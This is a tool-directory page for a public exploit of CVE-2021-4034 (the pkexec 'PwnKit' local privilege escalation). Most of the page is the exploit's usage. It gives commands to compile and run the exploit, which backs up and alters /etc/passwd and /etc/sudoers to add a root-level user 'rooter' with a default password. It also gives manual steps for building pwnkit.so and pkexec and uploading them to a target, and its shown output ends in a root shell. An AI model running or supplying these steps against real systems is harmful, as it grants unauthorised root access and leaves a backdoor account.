Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-4034 — Exploit for CVE-2021-4034 (pkexec) that adds a root user with sudo privileges. Includes manual exploitation steps and compiles pwnkit.so for local privilege escalation. | Kitploit
Tools/GitHubGitHub/rvn0xsy/cve-2021-4034
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitation
GitHubrvn0xsy/cve-2021-4034

CVE-2021-4034

Exploit for CVE-2021-4034 (pkexec) that adds a root user with sudo privileges. Includes manual exploitation steps and compiles pwnkit.so for local privilege escalation.

View Repository
97164 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-4034

CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation

Enhanced based on CVE-2021-4034, executing the Exploit will add username rooter, password Hello@World by default, and the rooter user will have sudo privileges.

Refer to CVE-2021-4034, executing Exploit will add username rooter, password Hello@World by default, and The rooter user will have sudo privileges.

Usage

root@kitploit:~

test@some:~$ gcc cve-2021-4034.c -o ./exp
test@some:~$ ./exp
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!

[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!

[+]Add Root User Success...
test@some:~$ su rooter
Password:
root@some:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@some:/home/test#

Manual Privilege Escalation

If the target environment does not have gcc, you can manually execute commands and compile pwnkit.so locally.

Create Exploit Environment - Target Machine

root@kitploit:~
$ mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
$ mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules

Compile pwnkit.so and pkexec - Locally

root@kitploit:~
$ mkdir pwnkit
$ gcc pwnkit.so.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC
$ gcc pkexec.c -o pkexec

Execute Exploit

  1. Upload the pwnkit folder to the target machine
  2. Upload pkexec to the target machine
  3. Execute pkexec
root@kitploit:~
$ ./pkexec
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!

[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!

[+]Add Root User Success...
Download Tool